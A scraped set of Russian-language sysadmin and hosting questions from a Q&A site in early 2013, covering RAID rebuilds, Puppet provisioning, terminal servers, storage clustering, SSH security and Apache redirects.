Или вот надо установить какой-то пакет. Сначала надо пойти добавить репозиторий с помощью wget'а, потом выполнить какой-то определенный сет команд, который известен заранее. Почему не отдавать разработчику тупо .sh скрипт, который будет делать тоже самое (про настройку я здесь не говорю).


Или вот как облегчают жизнь provisioning тулы (chef, puppet)? Чтобы там установить какой-нить пакет посложнее apache, руками надо пойти поменять какой-нибудь .bashrc, поменять пару строчек в конфиге этого свежеустановленного тула, поменять владльца третьих файлов на пользователя, которого создает установщик, что-то там в интерактивном режиме засетапить, поменять что-то и тут же протестить, и если нет, то переделать. Короче такую настройку просто списком команд мне не представляется возможным задать.


Или вот например была дискуссия на каком-то форуме забугорном, куда расскладывать файлы приложений: в /usr/local, /etc/, /opt или тонким слоем по всем этим директориям в зависимости от типов файлов.


Ну в общем вопросы мироздания хотелось бы постичь. Потому что команды я в системы выполнить могу, но каждый раз когда я заканчиваю что-то делать (попутно записывая что я делал в файлик или надеясь на собственную память), возникает непреодолимое желание прибить систему, поставить заново чистую и повторить _еще_ раз, но уже «все правильно», хотя понимания этого «правильного» как-то нет.


Вот собственно что из книг можете посоветовать?
 

2013.03.08, 13:16:55   #Хостинг - #36079


Дано:

VPS в интернете с Debian 6 на борту.

ПК с Windows 8.

Задача:

Расшарить папку на VPS для ПК через интернет.


Гугл особо не помог в этом вопросе.
 

2013.03.11, 18:26:38   #Системное администрирование - #36265


Задача: нужно на удаленной win-машине запускать интерфейс, который будет бекапить определенные папки файловой системы и хранить бекапы не старше N итераций или N-ного возраста (чтобы не съедать все место на жестком диске). В случае необходимости интерфейс должен иметь возможность восстановить бекап по номеру/дате. Иными словами нужен аналог maintenance plan'а SQL Server'а, только для файловой системы.

Можно заморочиться конечно и написать свой велосипед, но наверняка должно быть какое-то готовое решение. Кто-нибудь знает такое?
 

2013.03.11, 22:55:19   #Серверы - #36283


Имеются 2 планки памяти, для старых серверов HP и рабочих станций XW 6000 и т.п.
Отдам даром, так как помню — как сам их искал достаточно долго.
Спецификация: PC2100R-25331-NO 2GB DDR PC2100 CL2.5 ECC

Внимание! На десктопных чипсетах эта память работать не будет.
Могу отправить по почте в любой город.

Покупал на ebay пару лет назад, память рабочая, без глюков.
Берите, кому надо, у меня все равно лежит без дела.
 

2013.03.11, 23:12:38   #Системное администрирование - #36285


Есть NodeJS приложение размещенное на ubuntu server. В качестве базы данных использую MongoDB. Хочу попробовать его масштабировать, организовав несколько копий + балансировщик нагрузки. Посоветуйте какие-нибудь туториалы, статьи, скринкасты, ну в общем все что есть или поделитесь своим опытом создания кластера для NodeJS приложений.

Спасибо!
 

2013.03.12, 07:51:55   #Системное администрирование - #36299


Сначала немного вводных данных:
Есть сервер на базе Edubuntu 12.04, на нем поднят LTSP, система на SSD, /home размещен на аппаратном рейде, админ с линухом не дружит ).

1. Допустимо ли размещение расшареных папок и бэкапов непосредственно в /home (не в папках пользователей)? Насколько это «идеологически» верно…

2. Можно ли как-то оптимизировать процесс настройки терминальных учетных записей? К примеру: нужно для любого вновь созданного пользователя(а также и уже существующих) оперативно применить настройки того же рабочего стола, прокси и прикладного ПО по шаблону с конкретно указанной учеткой, совершать автоочистку пользовательских каталогов по завершению сеанса/временному промежутку. Если да, то как?

3. Клиенты (тонкие и не очень) различаются по аппаратному обеспечению, в связи с чем происходит потеря производительности. От чего конкретно зависит качество воспроизведения видео на терминалах при использовании LTSP (графический адаптер, память...)? Непонятно ведет себя и сеть, например подключенный по гигабитному соединению современный ноутбук работает идеально, канал связи забивается до значений порядка 40Мбит, но зато никаких артефактов и торможений картинки не наблюдается, однако этот же ноутбук, подключенный по каналу 100Мбит воспроизводит то же самое видео в режиме слайдшоу, а исходящий с сервера поток урезается до ~10Мбит…

Может быть есть какое-нибудь средство для мониторинга текущей нагрузки на компоненты клиента, благо определяются они вполне корректно(судя по тому, что работают без проблем)?

UPD: 3 вопрос переходит в разряд философских. Исходя из статистики использования канала можно сделать один вывод — с современными разрешениями экранов для комфортной работы потребуется не менее 10 честных мегабит. Для просмотра видео в достаточно высоком качестве канал нужен в пять раз быстрее.

Хабравчане — не молчите, иначе вопрос превратится в статью :)
 

2013.03.12, 17:24:56   #Системное администрирование - #36349


Ситуация: на удалённом серваке Debian 6 x64. Пытаемся там завести питоновский скрипт.
Для работы скрипта нужен Python 3.3 (именно эта версия, другие не катят) с модулем sqlite3 (т.к. скрипт пишет в базу в этом формате)

На сервере по-умолчанию установлен python 2.7.

Удалось собрать python3.3 из исходников.Где-то в нете взял руководство, ссылка не сохранилась:

wget http://python.org/ftp/python/3.3.0/Python-3.3.0.tar.bz2 tar jxf ./Python-3.3.0.tar.bz2 cd ./Python-3.3.0 ./configure --prefix=/opt/python3.3 make && sudo make install mkdir ~/bin ln -s /opt/python3.3/bin/python ~/bin/py
 

2013.03.13, 14:44:44   #Серверы - #36405


Интересует способ поставить загрузчик Windows на флешку, который бы грузил ее саму с рейда.


Зачем это нужно? Проблема в том что мать Asus Z8PE-D12X и контроллер HP SmartArray E200 похоже совсем не дружат и никак не получается сделать его загрузочным. Техподдерка Asus разводит руками и ищет аналогичный конфиг чтобы проверить совместимость. Мы перепробовали все дистрибы, и половину существующих биосов, и пару фирмваре контроллера и все равно ничего не получается.


Появилась идея воткнуть винду на отдельный диск, сделать образ, развернуть его обратно на рейд, воткнуть флешку и сделать загрузку с нее, а потом загрузчик передаст управление рейду.


Как такое можно провернуть? И вообще возможно?
 

2013.03.13, 17:43:06   #Серверы - #36427


День добрый. Интересует существует ли централизованное решение для мониторинга серверов бесплатное, желательно опенсурсное. Сервера работают на win2003/2008. Одно из обязательных требований получение информации по всем сенсорам работающим по snmp для каждого сервера. Также интересует наличие уведомлений, оповещений и других подобных функций. Какое можете порекомендовать для использования?
 

2013.03.14, 01:18:44   #Серверы - #36459


Доброго времени суток, %username%!

Введение
На сервере есть недавно установленная ОС MS Windows Server 2008 R2 — до этого сервером управляла ОС Windows 2003 R2.
К серверу подключаются терминальные клиенты. На клиентах помимо основного функционала, т.е. KVM — и COM-порты с подключёнными сканерами штрихкода.
Сразу после установки сервера, роль сервера лицензий не была поднята, и было сообщение, что остаётся столько-то дней до окончания такого периода, при этом у большинства клиентов переход с MS WS 2003 прошёл более или менее незаметно, и возникшие проблемы решились.
Сейчас, при установке роли лицензии, галочка защиты на сетевом уровне не ставилась, и не стояла изначально, и не ставилась после обнаружения проблемы.

Сейчас же картина следующая
— у клиентов на базе настольных ПК под управлением MS Windows XP SP3 32bit RUS и MS Windows 7 SP1 RUS 32/64bit проблем нет: подключаются нормально, без ошибок, нормально работают со сканерами штрихкода, подключёнными к COM-портам
— клиенты RDP5, такие как настольные компьютеры на базе MS Windows 2000 и тонкие клиенты (терминалы) HP t5530 с прошивкой Windows CE 5 не работают по причине security reason — соединение даже не устанавливается, и не появляется приглашение ввести пароль

Что предпринималось
— если перепрошить тонкий клиент HP t5530 прошивкой версии Windows CE 6, связь по RDP у KVM есть, но — не у сканера штрихкода, подключённого через COM-порт, причём прикладная программа по-видимому даже не видит проброс этого COM-порта, хотя декларативно прошивка позволяет ставить соответствующие галочки включения COM-порта и галочки проброса последовательных портов через RDP; справедливости ради надо заметить, что данная проблема прошивки Windows CE 6 была еще во время работы сервера под Windows 2003 R2
— если скопировать новую версию клиента RDP (файлы mstsc.exe и mstscax.dll), с Windows XP SP3, на котором обновлённый клиент, на машину под ОС Windows 2000, то этот клиент даже не запускается: говорит, что запускаемый EXE-файл не является приложением Win32

В ходе мозгового штурма и дальнейших исследований предлагались следующие решения
— найти решение проблемы в Интернете; почему не подходит: любой из найденных вариантов, предлагаемых как решение проблемы, во-первых не является решением на 100% гарантированным на все случаи, что показывают комментарии, а во-вторых не объясняет суть проблемы, т.е. не даёт возможность её осмыслить; а все решения стиля AnyKey WAY проверять нецелесообразно
— переставить сервер с нуля, чтобы вернуть доступ, т.к. отмена поднятия роли лицензий невозможна; метод грубой силы, с учётом загруженности текучкой может уйти дня два; далее надо будет думать, что делать дальше; вечно переставлять не получится, т.к. по нашим подсчётам хватит всего трех раз, после чего сервер перестанет работать совсем
— пересадить на время пользователей на другой сервер, у которого нет проблемы, и думать, что делать с этим сервером — это сделать придётся, причём в ближайшее время, т.к. сервер production
— прошить тонкие клиенты HP t5530 прошивкой Windows CE 6 от тонкого клиента HP t5550; есть вероятность работоспособности такого варианта, т.к. на сайте фирмы-производителя версии прошивок обоих моделей вперемешку, плюс показана еще третья модель — HP t5540, поэтому есть подозрение, что линейка одна, и прошивки взаимозаменяемы; у модели HP t5550 с прошивкой Windows CE 6 проблем ни с подключением по RDP в общем, ни с COM-портом в частности проблем нет — проверено на практике — и есть уверенность, что проблема программная, т.е. от железа не зависит; единственно, что смущает: так это то, что прошивка для HP t5550, даже если и будет совместима на уровне драйверов железа, может отказаться работать с HP t5530 по причине нехватки оперативной памяти, у последнего на борту всего 128 Мбайт; конечно, надо с помощью lspci и dmidecode собрать сведения для сравнения железа
— сгенерировать прошивку на основе GNU/Linux, например Thinstation; ковырял весь вечер версию 2.2.2i, и в конфигурации с загрузкой с дискового устройства, на котором лежит и файл конфигурации, и со статическим IP-адресом — не захотела работать, не видит файл конфигурации thinstation.conf.user; возможно, баг конкретной версии, т.к. несколько лет назад (в 2008 г) при использовании более старой версии, т.е. Thinstation 2.2.1, и немного другого инструментального GNU/Linux для сборки, т.е. Slackware, (смотрю бэкапы) всё шло как по маслу; поисковик сказал мне, что проблема не у меня одного, и играния с переменными STORAGE_PATH и STORAGE_CONFIGx в файле thinstation.conf.buildtime — тщетны; возможно, можно будет в этом направлении еще раз поработать, начав с шага назад; такое решение должно подойти не только для тонкого клиента HP t5530, но возможно поставить и на старые настольные компьютеры вместо Windows 2000, при этом загрузка будет быстрей, т.к. нет замедляющего антивируса, и если локальная работа какая-то есть, то вполне реально перенести ее на терминальный сервер; знаю, что пакет freerdp версии 0.8.2 работает с COM-портами ОК (пробовал в настольной конфигурации в Debian 6.0, сами пакеты брал из snapshots или одной из предыдущих версий Ubuntu), остаётся только выяснить, будет ли связь по протоколу RDP 6; при игрании с версией 2.2.1 в 2008 году, до использования пакета freerdp руки не дошли — играл с rdesktop, у которого известная проблема несовместимости с пробросом COM-портов; хочу всё это просто проверить, Linux Way попросили проработать мне лично, поэтому горю желанием, рвусь в бой…
— обратиться в техническую поддержку Microsoft; у нас нет такого опыта, за исключением возможно, очень редких рутинных проблем — со слетанием активации Windows XP, что было одно время; но, возможно, надо когда-то начинать?

UPD: добавил метку «старое железо», добавил в хаб «Старое железо»
 

2013.03.14, 06:38:19   #Системное администрирование - #36461


Здравствуйте.
Прошу прощения за возможно нубский вопрос, ранее с серверами почти не работал, а сейчас нужно быстро сориентироваться.
У нас есть 2 сервера — HP ProLiant DL380 G5 и HP ProLiant DL380 G6. Сейчас, как всегда внезапно, возникла необходимость в настройке резервного копирования данных, в связи с чем было принято решение все пользовательские данные (1С, базы, ГРАНД, личные файлы) перенести на G6, а на G5 их бэкапить. Для этого нужно приобрести 2 диска по 1Тб. Сейчас стоят SAS диски (такие — www.harddrivesdirect.com/product_info.php?cPath=130&products_id=144362). Тратить больше 50-60к руб. на SAS 2.5" диски не хочется, в связи с чем возник вопрос, можно ли использовать SATA 2.5" диски, а именно вот этот диск: www.harddrivesdirect.com/product_info.php?cPath=&products_id=458464 на этих серверах (G5 и G6) и нужно ли будет что-то ещё или после подключения они будут работать?
Спасибо.
 

2013.03.14, 22:39:58   #Хостинг - #36527


Привет, коллеги!
у меня есть десяток клиентов, которые размещаются на моих серверах. У кого-то ssh доступ. Кого-то я сам обслуживаю. Кто и сколько хостится — веду в гуглдокс
есть следующие проблемы —
нагрузка на сервер ни как не контролируется. Кто-то может забить диск, кто-то сожрать трафик, а кто-то повесить проц…
Забываю брать оплату за размещение. А тут клиент захотел помесячно платить. Тут вообще ахтунг :)

в виду этого интересуюсь, у кого есть опыт в этом деле? подскажите панельку, чтобы можно было решить эти проблемы. Ресурсы не обязательно ограничивать, главное знать, кто создал проблему.
По биллингу — автоматическая генерация счета, прием платежей — желательно, но необязательно.

спасибо!
 

2013.03.15, 21:38:20   #Хостинг - #36583


Есть два хостинга для одного сайта — первый быстрый потому что тут, но при внезапном наплыве пользователей падает. Второй не падает, но далеко и сюда медленно отдает. С помощью cloudflare переключение между практически мгновенное (ручное распределение нагрузки)

Вот что хочу. Wordpress движок стоит и там и там, надо синхронизировать базу MySQL. я подумал что можно снести её на одном хостинге и заставить Wordpress движок подключаться к базе на том что стабильнее. два движка и одна база.

Есть ли юзеркейсы, как обойти проблемы того что настройки Wordpress хранятся в базе вроде путей файлов? Буде ли проблемы со скоростью?

Или может можно это сделать через более правильное место?
 

2013.03.16, 06:39:12   #Системное администрирование - #36601


Сервер CentOS, на нём nginx и php-fpm, собранные из исходников. Понадобилось добавить поддержку memcached.

Установил libmemcached и php memcached — всё тоже из исходников. Добавил строку php_admin_value[extension]=memcached.so в конфиг php-fpm и перезапустил его.

Тестовый php на веб сервере показывает секцию про memcached в phpinfo(), но в этом же файле попытка инстанциировать этот класс даёт фатальную ошибку «Class 'Memcached' not found».

Точно такая же ситуация с php расширением memcache (без «d»). Есть в phpinfo(), «Class not found» при попытке работать с классом.

ЧЯДНТ и как правильно подключить поддержку memcached из исходников в php-fpm?
 

2013.03.16, 20:50:48   #Серверы - #36647


Есть желание в обозримом будущем разместить своё оборудование в каком-нибудь дата-центре. Я пока не решил буду ли покупать новый сервер, приобретать с рук б/у или вообще собирать его самостоятельно. Как дата-центры (в частности московского региона) относятся к б/у или самопальному оборудованию? Могут отказать в размещении или нет?
 

2013.03.18, 12:10:01   #Системное администрирование - #36739


Имеется дисковая полка HP MSA P2000 и 2 сервера с HP StorageWorks 81B PCIe 8Gb Fibre Channel Single Port Host Bus Adapter, к сожалению они не видят друг друга при прямом подключении, поэтому возникла необходимость купить san switch который решит эту проблему.


Ввиду малого опыта прошу совета в модели или ресурсах где можно доступно почитать.
 

2013.03.18, 12:51:56   #Хостинг - #36743


Добрый день!

Перед одной из организаций встал вопрос о переводе почтового сервиса в облако. В данный момент используется собственный Microsoft Exchange. Хочется на данном этапе сократить расходы и при этом воспользоваться сервисом крупной компании. Речь идет примерно о 50-70 почтовых ящиках. После поиска различных вариантов оказалось, что наверняка без нарушения всех policy воспользоваться можно только Yandex.Почта для домена. Но куча отрицательных отзывов в сети остужают пыл. Несколько раз встречал упоминания о Windows Live Custom Domains. Но нигде (включая сам сайт domains.live.com) не могу найти информацию о том, есть ли какие-то ограничения в использовании сервиса для коммерческих организаций. Может быть, кто-нибудь из членов нашего многоуважаемого сообщества сможет меня просветить на этот счет? Ну, и заодно, надеюсь, что кто-то сможет подсказать ограничения технического плана (пока что я увидел, что существует ограничение в 500 аккаунтов, а так же одно упоминание о том, что максимальный размер почтового ящика — 5 гб).

Спасибо заранее!

P.S. Office 365 — слишком дорого. 300 рублей за почтовый ящик в месяц в минимальном варианте — получаются приличные деньги.
 

2013.03.18, 13:55:20   #Системное администрирование - #36751


Прошу помощи сообщества. Есть линуксовый сервер на хецнере — с двумя SATA дисками, объединёнными в зеркало (RAID 1) при помощи mdadm. Вылетел один из дисков. После замены, пробую сделать ребилд массива. Ребилдятся все разделы кроме одного — новый диск упорно встаёт как SPARE. Это выглядит следующим образом:

=========
cat /proc/mdstat
Personalities: [raid1]
md0: active raid1 sda1[2] sdb1[1]
33553336 blocks super 1.0 [2/2] [UU]

md1: active raid1 sda2[2] sdb2[1]
524276 blocks super 1.0 [2/2] [UU]

md127: active raid1 sda5[2](S) sdb5[0]
2110014324 blocks super 1.0 [2/1] [U_]
=========

Ни гугление, ни танцы с бубном и ключами mdadm результата не достигли.
Господа и дамы, подскажите пожалуйста, как всё-таки сделать sda5 полноценным членом рейда?
 

2013.03.18, 19:59:04   #Системное администрирование - #36775


Привет!


Сорри за возможный глупый вопрос.


У меня есть задача — linux система в образе (в виде box для vagrant). Хочу автоматом накатить туда различного софта, после ее поднятия. Известно, что это делается при помощи скриптов, написанных на shell, а также замечательных provisioning тулов типа puppet (chef и т.п.). Все это можно впихнуть в процесс поднятия системы vagrant'ом.


Последним (puppet) хотелось бы и воспользоваться. Но меня вот что смущает. Софт который я хочу установить на свою систему не лежит в стандартном репозитории.


Возьмем к примеру redis, а ось centos и посмотрим на предлагаемые модули для puppet. Увидим, что модуль предлагают установить.


Тут у меня вопрос возникает — если puppet — это то, что устанавливает софт на систему, почему он сам требует установки в ручную каких-то модулей (не рассматриваем когда puppet работает без master->slave)? Я уж не говорю о том, что он сам должен как бы быть установленным, т.е. почему-то не предлагается какой-нибудь скрипт, который можно выполнить на любой системе типа install_puppet.sh, у разработчиков паппета?


Ну для решения вопросов управления сторонними модулями самим puppetом для своего проекта, какие-то люди, как я нашел, написали github.com/rodjek/librarian-puppet (его правда надо тоже как-то там отдельно ставить, при этом, если vagrant запускается c win машины, то получаетя, что с этим ты пролетаешь, потому что ставится он через gem?).


Вопрос собственно, почему так много все надо поставить, чтобы «автоматически» устанавливать софт на системе? При таких приседаниях, что shell скрипт, что puppet выглядят одинаково…


Или я что-то не так делаю?
 

2013.03.20, 11:40:24   #Системное администрирование - #36887


Пытаюсь понять насколько безопасно использование SSH с дефолтными настройками. И если нужно что-то изменять — то что именно. Из угроз интересует:

Дешифрование трафика между клиентом и сервером при атаке «человек посередине»:
1. в момент авторизации (перехват пакетов авторизации и восстановление пароля на доступ к ssh-серверу)
2. после авторизации (восстановление любых данных: вводимых команд в удалённой консоли или трафика в случае если ssh-сервер выступает как ssh socks proxy)
Остальные вопросы безопасности (подбор пароля и т.д.) не особо интересуют, т.к. к ssh-серверу можно коннектиться только с определённых IP (настройками iptables реализовано).

ОС: Ubuntu 12.04
SSH-сервер: SSH-2.0-OpenSSH_5.9p1

Файлы SSH сервера:

668 байт — /etc/ssh/ssh_host_dsa_key
608 байт — /etc/ssh/ssh_host_dsa_key.pub
2276 байт — /etc/ssh/ssh_host_ecdsa_key
180 байт — /etc/ssh/ssh_host_ecdsa_key.pub
1679 байт — /etc/ssh/ssh_host_rsa_key
400 байт — /etc/ssh/ssh_host_rsa_key.pub
 

2013.03.20, 12:45:18   #Системное администрирование - #36893


Всем привет!


Появилась следующая задача:

развернуть на одном мощном серваке систему с возможностью подключений пользователей к этой системе, как к рабочему столу. Каждому пользователю должна отводиться определенная строго заданная конфигурация (например, 1 ядро, 2Гб оперативы и т.д.). Все должно быть максимально прозрачно для конечного пользователя (подключился, поработал, отключился).


Количество пользователей — неизвестно (т.е. в один момент их может быть 1, а может быть 100). Должно быть что-то вроде динамически расширяемого пула виртуальных машин, к которым подключаются пользователи.

Среда у всех одинаковая, пользователи ничего не должны хранить на конечной ВМ.


Гугление по этому вопросу показало, что для решения этой задачи у Microsoft есть Virtual Desktop Infrastructure (VDI), а у VMware — View (хорошее описание, что я хочу получить).


Решение Microsoft не подходит — сервер, ВМ и клиенты будут на Linux.

Решение VMware условно подходит, но вряд ли получится его использовать в нашем проекте ввиду проприетарности продукта.


Вопрос: есть ли какие-то средства, как можно аналогичное развернуть на Linux (RedHat)? KVM, Xen, VirtualBox и прочее, интересуют любые идеи.
 

2013.03.20, 14:25:20   #Хостинг - #36907


Дано: Есть сервер с plesk, есть доступ через SSH и все прочие плюшки дедика. Есть множество сайтов, написанных на Yii и для каждого копировался свой каталог с фрейморком.
Вопрос: Как сделать так, что-бы каталог был один (/var/www/vhosts/framework/yii-1.1.13) где разместить файлы фреймворка. И что надо сделать для того, что-бы все сайты работали с этим каталогом.
Если прописать в index.php, который лежит в /var/www/vhosts/site.com/httpdocs путь типа
// change the following paths if necessary $yii=dirname(__FILE__).'/../../framework/yii-1.1.13/yii.php'; $config=dirname(__FILE__).'/protected/config/main.php';
то не работает, выдает ошибку 500
 

2013.03.20, 14:50:31   #Системное администрирование - #36913


Проблема выглядит примерно так:
Есть сервер с рейд контроллером (perc H700m) на Ubuntu 12.04, я пытаюсь создать программный рейд 1 на двух дисках по 3тб, отделив через gdisk 2 раздела по 300гб и один на 500гб на каждом из дисков пытаюсь соответственно собрать массивы.
Первое что показалось странным, возможно это от того, что контроллер для того чтобы подклчюить одиночный диск как бы помещает его в рейд0.
mdadm --create --verbose /dev/md0 --level=1 --raid-devices=2 /dev/sda1 /dev/sdb1 mdadm: /dev/sda1 appears to be part of a raid array: level=raid0 devices=0 ctime=Thu Jan 1 03:00:00 1970 mdadm: partition table exists on /dev/sda1 but will be lost or meaningless after creating array mdadm: Note: this array has metadata at the start and may not be suitable as a boot device. If you plan to store '/boot' on this device please ensure that your boot-loader understands md/v1.x metadata, or use --metadata=0.90 mdadm: /dev/sdb1 appears to be part of a raid array: level=raid0 devices=0 ctime=Thu Jan 1 03:00:00 1970 mdadm: partition table exists on /dev/sdb1 but will be lost or meaningless after creating array mdadm: size set to 314441536K
То же самое и на остальных.
Массив создается, дальше я его отдаю через tgt по iscisi.
Добавляю в /etc/mdadm/mdadm.conf мои массивы.
ARRAY /dev/md0 UUID=fd798c1c:baf4f1a9:682aab93:740a5f7b ARRAY /dev/md1 UUID=3a45134d:334b408a:64bcef42:3c7faf9e ARRAY /dev/md2 UUID=a9e82c0e:384fb9b8:6eed8296:8c7eaab6
Всё работает до ребута, после ребута стартует один массив md2 и начинет его синхронизировать.
Если сделать после ребута mdadm -A --verbose /dev/md0 валится что-то вроде:
mdadm: no RAID superblock on /dev/sda1 mdadm: Cannot assemble mbr metadata on /dev/sda1 mdadm: no RAID superblock on /dev/sdb1 mdadm: Cannot assemble mbr metadata on /dev/sdb1
 

2013.03.22, 19:32:51   #Хостинг - #37067


Есть сервер в Германии, арендованный еще при NetDirekt. Сейчас LeaseWeb просят подобрать замену, т. к. «истекает срок действия старых серверов». Подскажите, какой ДЦ выбрать. В Германии или Нидерландах? Где лучше пинги? 90% клиентов из России.
 

2013.03.26, 11:39:43   #Системное администрирование - #37261


Стоит задача организовать открытую гостевую Wifi сеть с доступом в Интернет, но с показом рекламы раз в 30 минут.
Необходимо чтобы при подключении к сети и попытке набрать любой адрес, пользователи перенаправлялись на страницу с просмотром собственного рекламного ролика(30 секунд) и только после этого могли дальше пользоваться Интернет.
Через 30 минут, пользователи снова должны перенаправляться на страницу с этим рекламным роликом и т.д.

Подскажите, пожалуйста ссылки на системы и решения, которые это позволят организовать.
Очень желательно, чтобы продукт был бесплатный.
Если таковых нет, то просьба порекомендовать конкретное платное решение.

Спасибо заранее!
 

2013.03.28, 14:55:20   #Системное администрирование - #37419


Здравствуйте.
Когда-то давно у нас всё было хорошо, но после смены роутера (на netgear) наблюдается следующая проблема:
Открываем терминал, коннектимся по ssh на сервер, оставляем терминал на N минут (наверное минут 10-15, точно не скажу), после чего он перестаёт отвечать на любые действия и его можно только закрыть.
Если в терминале вывести например top или любую другую динамичную информацию, то терминал не умирает.
Это наблюдается на всех ОС.
Возможно кто-то сталкивался с подобной проблемой? Что нужно сделать в данном случае чтобы терминалы не умирали? Заранее спасибо.
 

2013.03.28, 20:40:09   #Системное администрирование - #37437


Сегодня VDS на hetzner стал вести себя странно, начали приходит письма abuse с жалобами на спам от техподдержки, а команда top выдает такую картину:
 

2013.03.31, 01:47:50   #Хостинг - #37551


есть Debian-сервер в облаке Selectel


потребление за день периодически подскакивает в 4 раза, из них 90% расхода идет по диску, а именно по статьям


Диск: запросов на чтение 50%

Диск: запросов на запись 22%

Диск: прочитанный объём 24%


На сервере стоит ISPmanager — лимиты bandwidth подсказку не дают


По результатам грешу на своп, но как определить источник проблем? хотя бы до папки, в идеале до скрипта…


root@srv:~# free
total used free shared buffers cached
Mem: 262144 259424 2720 0 3588 29024
-/+ buffers/cache: 226812 35332
Swap: 524284 149628 374656

 

2013.03.31, 14:05:37   #Хостинг - #37567


Есть сайт (обычный LAMP) крутящийся на shared-хостинге. Последнее время хостинг начала показывать превышение допустимых лимитов по MySQL и CPU. На сайте 10-50 тыс. хитов в сутки. Часть страниц формируется достаточно тяжелыми SQL запросами.


Хочу переехать на VDS или Dedicated. Вопрос, как выбрать правильную конфигурацию? Есть ли какие то приемы, чтобы оценить, сколько надо RAM или какие CPU? Текущий Shared хостинг показывает потребляемые ресурсы в панели управления в каких то абстрактных единицах, из которых трудно сделать выводы.
 

2013.03.31, 14:46:06   #Хостинг - #37569


Имеется несколько миллионов файлов, занимающих порядка 1Тб. То есть, средний размер файла — около 250Кб. Файлы только добавляются. Скорость добавления — небольшая. Порядка 25Мб/день. Скорость чтения — порядка 5Мб/с.


Сейчас они хранятся на одном сервере и его ресурсы подходят к концу. Хочется:

1) избавится от единой точки отказа.

2) сделать решение масштабируемым хотя бы в 10 раз.

3) для этого есть 3 сервера, на которых сильно загружен процессор, но диски и память свободны.

4) чтобы в случае выхода из строя одного из серверов, всё восстанавливалось само.


Какие варианты я рассмотрел:

1) ceph. Cephfs — слишком сырая (о чём они сами пишут). Если использовать как блочное устройство, то нужно ядро 3.4+ (а у меня rhel6 — ядро 2.6) + скорость одиночных запросов там не очень быстрая. Плюс они плохо уживаются с другими приложениями на одном сервере.

2) drbd. С его помощью можно избавится от единой точки отказа. Но с масштабированием у него всё плохо. Максимум 3 реплики. В режиме master-master может требовать ручного вмешательства при падении одного из серверов для решения проблем split-brain. Понятия кворум не знает.

3) glusterfs. Есть ощущение, что проект сырой, как и ceph. На форуме видел топик «у меня в последней стабильной версии 3.3.1 зависла фс. Что делать?» — без ответа неделю. На хабре тоже была два поста от одного автора про настройку glusterfs. Во втором автор пишет, что пришлось перейти на новую версию, так как старая зависала по непонятным причинам и решения не удалось найти.

4) iscsi+lvm+gfs2. Есть подозрения, что в режиме master-master, много времени может уходить на локи. Во время тестов, листинг новосозданного маленького файла, занимал 0.5с. Как я понимаю, это в основном время захвата лока на чтение. Этот вариант пока нравится больше всех.

5) cassandra. Из прочитанного про неё, пришёл к выводу, что это больше БД, нежели хранилище данных. Пытается побольше всего в памяти держать и т.д. Нет полной recovery — оно происходит только при чтении данных, или при ручном запуске команды.


Может у уважаемого хабрасообщества есть ещё варианты на примете или есть опыт, который может развеять (или закрепить) мои опасения?
 

2013.04.01, 09:16:40   #Системное администрирование - #37609


По стандартной команде note: ИМЯ_КОМПЬЮТЕРА product get name,version

Вопрос, собственно, почему и можно ли это как-то побороть? Запускается под админом, все необходимые права есть.
 

2013.04.02, 10:52:15   #Системное администрирование - #37687


Есть старый сайт, который был перенесен на SimplaCMS. Изменилась структура URL и нужно сделать редирект со старых страниц на новые.


Файл хтаццес имеет такой вид: (редиректы в конце самом)

AddDefaultCharset UTF-8

ErrorDocument 404 /404

ErrorDocument 401 /password.php

RewriteEngine on


# Админка теперь по адресу /simpla

RewriteRule ^admin/?$ simpla [L]


# Каталог товаров

RewriteRule ^catalog/([^/]+)/?$ index.php?module=ProductsView&category=$1 [L,QSA]

RewriteRule ^catalog/([^/]+)/([^/]+)/?$ index.php?module=ProductsView&category=$1&brand=$2 [L,QSA]


RewriteRule ^products/([^/]+)/?$ index.php?module=ProductView&product_url=$1 [L,QSA]

RewriteRule ^products/?$ index.php?module=ProductsView [L,QSA]


RewriteRule ^brands/([^/]+)/?$ index.php?module=ProductsView&brand=$1 [L,QSA]

RewriteRule ^brands/([^/]+)/page_([^/]+)/?$ index.php?module=ProductsView&brand=$1&page=$2 [L,QSA]


# Поиск товаров

RewriteRule ^search/([^/]+)/?$ index.php?module=ProductsView&keyword=$1 [L,QSA]

RewriteRule ^search/?$ index.php?module=ProductsView [L,QSA]


# Блог

RewriteRule ^blog/([^/]+)/?$ index.php?module=BlogView&url=$1 [L,QSA]

RewriteRule ^blog/?$ index.php?module=BlogView [L,QSA]


# Корзина и заказы

RewriteRule ^cart/?$ index.php?module=CartView [L,QSA]

RewriteRule ^cart/([^/]+)/?$ index.php?module=CartView&add_variant=$1 [L,QSA]

RewriteRule ^cart/remove/([^/]+)/?$ index.php?module=CartView&delete_variant=$1 [L,QSA]

RewriteRule ^order/([^/]+)/?$ index.php?module=OrderView&url=$1 [L,QSA]

RewriteRule ^order/?$ index.php?module=OrderView [L,QSA]


# Для пользователей

RewriteRule ^user/login/?$ index.php?module=LoginView [L,QSA]

RewriteRule ^user/register/?$ index.php?module=RegisterView [L,QSA]

RewriteRule ^user/logout/?$ index.php?module=LoginView&action=logout [L,QSA]

RewriteRule ^user/password_remind/?$ index.php?module=LoginView&action=password_remind [L,QSA]

RewriteRule ^user/password_remind/([0-9a-z]+)/?$ index.php?module=LoginView&action=password_remind&code=$1 [L,QSA]

RewriteRule ^user/?$ index.php?module=UserView [L,QSA]


# Google sitemap

RewriteRule ^sitemap.xml?$ sitemap.php [L,QSA]


# XML

RewriteRule ^yandex.xml?$ yandex.php [L,QSA]


# feedback

RewriteRule ^contact/?$ index.php?module=FeedbackView [L,QSA]


#downloads

RewriteRule ^order/([^/]+)/([^/]+)/?$ index.php?module=OrderView&url=$1&file=$2 [L,QSA]


# Статические страницы

RewriteCond %{REQUEST_FILENAME} !-f

RewriteCond %{REQUEST_FILENAME} !-d

RewriteRule ^([^/]*)/?$ index.php?module=PageView&page_url=$1 [L,QSA]

RewriteRule ^/?$ index.php?module=MainView&page_url= [L,QSA]


# Ресайз картинок на лету

RewriteCond %{REQUEST_FILENAME} !-d

RewriteCond %{REQUEST_FILENAME} !-f

RewriteRule ^files/products/(.+) resize/resize.php?file=$1&token=%{QUERY_STRING}

#RewriteCond %{THE_REQUEST} ^GET\ (.*)files/products/(.*)\?([A-z0-9]*)

#RewriteRule ^files/products/(.+) resize/resize.php?file=%2&token=%3 [L,NE]


#перенос старых страниц
Redirect 301 /product_49.html www.site.ru/products/ololo1

Redirect 301 /product_94.html www.site.ru/products/nashlemnaja_lolo

Redirect 301 /product_174.html www.site.ru/products/lololo2

Redirect 301 /product_64.html www.site.ru/products/tovar

